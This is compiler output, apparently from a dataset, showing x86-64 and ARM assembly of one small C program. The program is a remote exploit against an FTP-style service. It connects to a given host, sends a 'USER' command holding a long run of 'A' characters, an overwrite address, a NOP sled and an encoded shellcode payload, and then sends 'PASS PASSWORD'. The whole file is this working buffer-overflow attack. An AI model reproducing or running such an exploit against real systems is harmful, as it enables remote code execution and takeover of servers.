	.file	"619568.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"usage: %s <host> <port>\n"
.LC1:
	.string	"socket() failed\n"
.LC2:
	.string	"gethostbyname() failed"
.LC3:
	.string	"couldn't connect so server\n"
.LC5:
	.string	"buffer is: %s\n"
	.align 8
.LC4:
	.ascii	"\335\303\331t$\364Z\270\201\373j1)\311\261I1B\031\003B\031\203"
	.ascii	"\302\004c\016\226\331\352\361g\032\214x\202+\236\037\306\036"
	.ascii	".k\212\222\3059? \253\2250\201\001\300\177\022\244\314,\320"
	.string	"\247\260.\005\007\210\340XF\315\035\222\032\206j\001\212\243/\232\253c$\242\323\006\373Wi\b,\307\346B\324c\240r\345\240\263O\254\315\007;/\004V\304\001h4\373\255eE;\t\22607i+B\214\023\367\307\021\263|\177\362EP\031qI\035n\335N\240\243Uj)B\272\372i`\036\246*\t\007\002\2346W\352A\222\023\031\225\244yvZ\232\201\206\364\255\362\264[\005\235\364\024\203Z\372\016s\364\005\261\203\334\301\345\323v\343\205\270\206\fPn\327\242\013\316\207\002\374\246\315\214#\326\355FL|\027\001\263(\003\276[*,Q\300\243\312;\350\345E\324\221\254\036E]{[E\325\217\233\b\036\372\217\375\356\261\362\250\361l\230Td\212\013\002\020\220jd\277kY\376v\371\"iw\355\242i!g\243\001\225\323\3604\332\316d\345O\360\334Y\307\230\342\204/\007\034\343\261t\313\3127\214y?\364"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 3568
	mov	DWORD PTR -3556[rbp], edi
	mov	QWORD PTR -3568[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	cmp	DWORD PTR -3556[rbp], 3
	je	.L2
	mov	rax, QWORD PTR -3568[rbp]
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 0
	call	exit@PLT
.L2:
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -3548[rbp], eax
	cmp	DWORD PTR -3548[rbp], -1
	jne	.L3
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 0
	call	exit@PLT
.L3:
	mov	rax, QWORD PTR -3568[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	gethostbyname@PLT
	mov	QWORD PTR -3544[rbp], rax
	cmp	QWORD PTR -3544[rbp], 0
	jne	.L4
	lea	rdi, .LC2[rip]
	call	herror@PLT
	mov	edi, 0
	call	exit@PLT
.L4:
	mov	rax, QWORD PTR -3544[rbp]
	mov	rax, QWORD PTR 24[rax]
	mov	rax, QWORD PTR [rax]
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -3532[rbp], eax
	mov	WORD PTR -3536[rbp], 2
	mov	rax, QWORD PTR -3568[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atol@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -3534[rbp], ax
	lea	rcx, -3536[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L5
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	edi, 0
	call	exit@PLT
.L5:
	lea	rsi, -2064[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	ecx, 0
	mov	edx, 2048
	mov	edi, eax
	call	recv@PLT
	lea	rax, -2064[rbp]
	mov	rdi, rax
	call	puts@PLT
	lea	rax, -3504[rbp]
	lea	rdx, .LC4[rip]
	mov	ecx, 39
	mov	rdi, rax
	mov	rsi, rdx
	rep movsq
	mov	rdx, rsi
	mov	rax, rdi
	mov	ecx, DWORD PTR [rdx]
	mov	DWORD PTR [rax], ecx
	lea	rax, 4[rax]
	lea	rdx, 4[rdx]
	movzx	ecx, WORD PTR [rdx]
	mov	WORD PTR [rax], cx
	mov	BYTE PTR -3184[rbp], 85
	mov	BYTE PTR -3183[rbp], 83
	mov	BYTE PTR -3182[rbp], 69
	mov	BYTE PTR -3181[rbp], 82
	mov	BYTE PTR -3180[rbp], 32
	mov	DWORD PTR -3552[rbp], 5
	jmp	.L6
.L7:
	mov	eax, DWORD PTR -3552[rbp]
	cdqe
	mov	BYTE PTR -3184[rbp+rax], 65
	add	DWORD PTR -3552[rbp], 1
.L6:
	cmp	DWORD PTR -3552[rbp], 489
	jle	.L7
	mov	BYTE PTR -2694[rbp], -41
	mov	BYTE PTR -2693[rbp], 48
	mov	BYTE PTR -2692[rbp], -99
	mov	BYTE PTR -2691[rbp], 124
	mov	BYTE PTR -2690[rbp], 67
	mov	BYTE PTR -2689[rbp], 67
	mov	BYTE PTR -2688[rbp], 67
	mov	BYTE PTR -2687[rbp], 67
	mov	DWORD PTR -3552[rbp], 498
	jmp	.L8
.L9:
	mov	eax, DWORD PTR -3552[rbp]
	cdqe
	mov	BYTE PTR -3184[rbp+rax], -112
	add	DWORD PTR -3552[rbp], 1
.L8:
	cmp	DWORD PTR -3552[rbp], 783
	jle	.L9
	mov	DWORD PTR -3552[rbp], 0
	jmp	.L10
.L11:
	mov	eax, DWORD PTR -3552[rbp]
	lea	ecx, 784[rax]
	mov	eax, DWORD PTR -3552[rbp]
	cdqe
	movzx	edx, BYTE PTR -3504[rbp+rax]
	movsx	rax, ecx
	mov	BYTE PTR -3184[rbp+rax], dl
	add	DWORD PTR -3552[rbp], 1
.L10:
	cmp	DWORD PTR -3552[rbp], 316
	jle	.L11
	mov	BYTE PTR -2083[rbp], 13
	mov	BYTE PTR -2082[rbp], 10
	mov	BYTE PTR -2081[rbp], 0
	lea	rax, -3184[rbp]
	mov	rsi, rax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -3184[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rsi, -3184[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	ecx, 0
	mov	edi, eax
	call	send@PLT
	lea	rsi, -2064[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	ecx, 0
	mov	edx, 2048
	mov	edi, eax
	call	recv@PLT
	lea	rax, -2064[rbp]
	mov	rdi, rax
	call	puts@PLT
	mov	BYTE PTR -3520[rbp], 80
	mov	BYTE PTR -3519[rbp], 65
	mov	BYTE PTR -3518[rbp], 83
	mov	BYTE PTR -3517[rbp], 83
	mov	BYTE PTR -3516[rbp], 32
	mov	BYTE PTR -3515[rbp], 80
	mov	BYTE PTR -3514[rbp], 65
	mov	BYTE PTR -3513[rbp], 83
	mov	BYTE PTR -3512[rbp], 83
	mov	BYTE PTR -3511[rbp], 87
	mov	BYTE PTR -3510[rbp], 79
	mov	BYTE PTR -3509[rbp], 82
	mov	BYTE PTR -3508[rbp], 68
	mov	BYTE PTR -3507[rbp], 13
	mov	BYTE PTR -3506[rbp], 10
	mov	BYTE PTR -3505[rbp], 0
	lea	rax, -3520[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rsi, -3520[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	ecx, 0
	mov	edi, eax
	call	send@PLT
	lea	rsi, -2064[rbp]
	mov	eax, DWORD PTR -3548[rbp]
	mov	ecx, 0
	mov	edx, 2048
	mov	edi, eax
	call	recv@PLT
	lea	rax, -2064[rbp]
	mov	rdi, rax
	call	puts@PLT
	mov	eax, DWORD PTR -3548[rbp]
	mov	edi, eax
	mov	eax, 0
	call	close@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L13
	call	__stack_chk_fail@PLT
.L13:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"619568.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"usage: %s <host> <port>\012\000"
	.align	2
.LC1:
	.ascii	"socket() failed\012\000"
	.align	2
.LC2:
	.ascii	"gethostbyname() failed\000"
	.align	2
.LC3:
	.ascii	"couldn't connect so server\012\000"
	.align	2
.LC5:
	.ascii	"buffer is: %s\012\000"
	.align	2
.LC4:
	.ascii	"\335\303\331t$\364Z\270\201\373j1)\311\261I1B\031\003"
	.ascii	"B\031\203\302\004c\016\226\331\352\361g\032\214x\202"
	.ascii	"+\236\037\306\036.k\212\222\3059? \253\2250\201\001"
	.ascii	"\300\177\022\244\314,\320\247\260.\005\007\210\340X"
	.ascii	"F\315\035\222\032\206j\001\212\243/\232\253c$\242\323"
	.ascii	"\006\373Wi\010,\307\346B\324c\240r\345\240\263O\254"
	.ascii	"\315\007;/\004V\304\001h4\373\255eE;\011\22607i+B\214"
	.ascii	"\023\367\307\021\263|\177\362EP\031qI\035n\335N\240"
	.ascii	"\243Uj)B\272\372i`\036\246*\011\007\002\2346W\352A\222"
	.ascii	"\023\031\225\244yvZ\232\201\206\364\255\362\264[\005"
	.ascii	"\235\364\024\203Z\372\016s\364\005\261\203\334\301\345"
	.ascii	"\323v\343\205\270\206\014Pn\327\242\013\316\207\002"
	.ascii	"\374\246\315\214#\326\355FL|\027\001\263(\003\276[*"
	.ascii	",Q\300\243\312;\350\345E\324\221\254\036E]{[E\325\217"
	.ascii	"\233\010\036\372\217\375\356\261\362\250\361l\230Td"
	.ascii	"\212\013\002\020\220jd\277kY\376v\371\"iw\355\242i!"
	.ascii	"g\243\001\225\323\3604\332\316d\345O\360\334Y\307\230"
	.ascii	"\342\204/\007\034\343\261t\313\3127\214y?\364\000"
	.align	2
.LC6:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 3536
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #3536
	str	r0, [fp, #-3536]
	str	r1, [fp, #-3540]
	ldr	r3, .L14
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-3536]
	cmp	r3, #3
	beq	.L2
	ldr	r3, .L14+4
	ldr	r0, [r3]
	ldr	r3, [fp, #-3540]
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r1, .L14+8
	bl	fprintf
	mov	r0, #0
	bl	exit
.L2:
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-3528]
	ldr	r3, [fp, #-3528]
	cmn	r3, #1
	bne	.L3
	ldr	r0, .L14+12
	bl	perror
	mov	r0, #0
	bl	exit
.L3:
	ldr	r3, [fp, #-3540]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	gethostbyname
	str	r0, [fp, #-3524]
	ldr	r3, [fp, #-3524]
	cmp	r3, #0
	bne	.L4
	ldr	r0, .L14+16
	bl	herror
	mov	r0, #0
	bl	exit
.L4:
	ldr	r3, [fp, #-3524]
	ldr	r3, [r3, #16]
	ldr	r3, [r3]
	ldr	r3, [r3]
	str	r3, [fp, #-3516]
	sub	r3, fp, #4
	sub	r3, r3, #3504
	sub	r3, r3, #12
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-3540]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atol
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4
	sub	r3, r3, #3504
	sub	r3, r3, #12
	strh	r2, [r3, #2]	@ movhi
	sub	r3, fp, #3504
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-3528]
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L5
	ldr	r0, .L14+20
	bl	perror
	mov	r0, #0
	bl	exit
.L5:
	sub	r1, fp, #2048
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #0
	mov	r2, #2048
	ldr	r0, [fp, #-3528]
	bl	recv
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	puts
	ldr	r2, .L14+24
	sub	r3, fp, #3472
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r1, r2
	ldr	r2, .L14+28
	mov	r0, r3
	bl	memcpy
	mov	r3, #85
	strb	r3, [fp, #-3168]
	mov	r3, #83
	strb	r3, [fp, #-3167]
	mov	r3, #69
	strb	r3, [fp, #-3166]
	mov	r3, #82
	strb	r3, [fp, #-3165]
	mov	r3, #32
	strb	r3, [fp, #-3164]
	mov	r3, #5
	str	r3, [fp, #-3532]
	b	.L6
.L7:
	sub	r3, fp, #3152
	sub	r3, r3, #4
	sub	r3, r3, #12
	ldr	r2, [fp, #-3532]
	add	r3, r3, r2
	mov	r2, #65
	strb	r2, [r3]
	ldr	r3, [fp, #-3532]
	add	r3, r3, #1
	str	r3, [fp, #-3532]
.L6:
	ldr	r3, [fp, #-3532]
	ldr	r2, .L14+32
	cmp	r3, r2
	ble	.L7
	mvn	r3, #40
	strb	r3, [fp, #-2678]
	mov	r3, #48
	strb	r3, [fp, #-2677]
	mvn	r3, #98
	strb	r3, [fp, #-2676]
	mov	r3, #124
	strb	r3, [fp, #-2675]
	mov	r3, #67
	strb	r3, [fp, #-2674]
	mov	r3, #67
	strb	r3, [fp, #-2673]
	mov	r3, #67
	strb	r3, [fp, #-2672]
	mov	r3, #67
	strb	r3, [fp, #-2671]
	ldr	r3, .L14+36
	str	r3, [fp, #-3532]
	b	.L8
.L9:
	sub	r3, fp, #3152
	sub	r3, r3, #4
	sub	r3, r3, #12
	ldr	r2, [fp, #-3532]
	add	r3, r3, r2
	mvn	r2, #111
	strb	r2, [r3]
	ldr	r3, [fp, #-3532]
	add	r3, r3, #1
	str	r3, [fp, #-3532]
.L8:
	ldr	r3, [fp, #-3532]
	cmp	r3, #784
	blt	.L9
	mov	r3, #0
	str	r3, [fp, #-3532]
	b	.L10
.L11:
	ldr	r3, [fp, #-3532]
	add	r2, r3, #784
	sub	r3, fp, #3472
	sub	r3, r3, #4
	sub	r3, r3, #12
	ldr	r1, [fp, #-3532]
	add	r3, r3, r1
	ldrb	r1, [r3]	@ zero_extendqisi2
	sub	r3, fp, #4
	add	r3, r3, r2
	mov	r2, r1
	strb	r2, [r3, #-3164]
	ldr	r3, [fp, #-3532]
	add	r3, r3, #1
	str	r3, [fp, #-3532]
.L10:
	ldr	r3, [fp, #-3532]
	cmp	r3, #316
	ble	.L11
	mov	r3, #13
	strb	r3, [fp, #-2067]
	mov	r3, #10
	strb	r3, [fp, #-2066]
	mov	r3, #0
	strb	r3, [fp, #-2065]
	sub	r3, fp, #3152
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r1, r3
	ldr	r0, .L14+40
	bl	printf
	sub	r3, fp, #3152
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r1, fp, #3152
	sub	r1, r1, #4
	sub	r1, r1, #12
	mov	r3, #0
	ldr	r0, [fp, #-3528]
	bl	send
	sub	r1, fp, #2048
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #0
	mov	r2, #2048
	ldr	r0, [fp, #-3528]
	bl	recv
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	puts
	mov	r3, #80
	strb	r3, [fp, #-3504]
	mov	r3, #65
	strb	r3, [fp, #-3503]
	mov	r3, #83
	strb	r3, [fp, #-3502]
	mov	r3, #83
	strb	r3, [fp, #-3501]
	mov	r3, #32
	strb	r3, [fp, #-3500]
	mov	r3, #80
	strb	r3, [fp, #-3499]
	mov	r3, #65
	strb	r3, [fp, #-3498]
	mov	r3, #83
	strb	r3, [fp, #-3497]
	mov	r3, #83
	strb	r3, [fp, #-3496]
	mov	r3, #87
	strb	r3, [fp, #-3495]
	mov	r3, #79
	strb	r3, [fp, #-3494]
	mov	r3, #82
	strb	r3, [fp, #-3493]
	mov	r3, #68
	strb	r3, [fp, #-3492]
	mov	r3, #13
	strb	r3, [fp, #-3491]
	mov	r3, #10
	strb	r3, [fp, #-3490]
	mov	r3, #0
	strb	r3, [fp, #-3489]
	sub	r3, fp, #3488
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r1, fp, #3488
	sub	r1, r1, #4
	sub	r1, r1, #12
	mov	r3, #0
	ldr	r0, [fp, #-3528]
	bl	send
	sub	r1, fp, #2048
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #0
	mov	r2, #2048
	ldr	r0, [fp, #-3528]
	bl	recv
	sub	r3, fp, #2048
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	puts
	ldr	r0, [fp, #-3528]
	bl	close
	mov	r3, #0
	ldr	r2, .L14
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L13
	bl	__stack_chk_fail
.L13:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L15:
	.align	2
.L14:
	.word	.LC6
	.word	stderr
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	318
	.word	489
	.word	498
	.word	.LC5
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
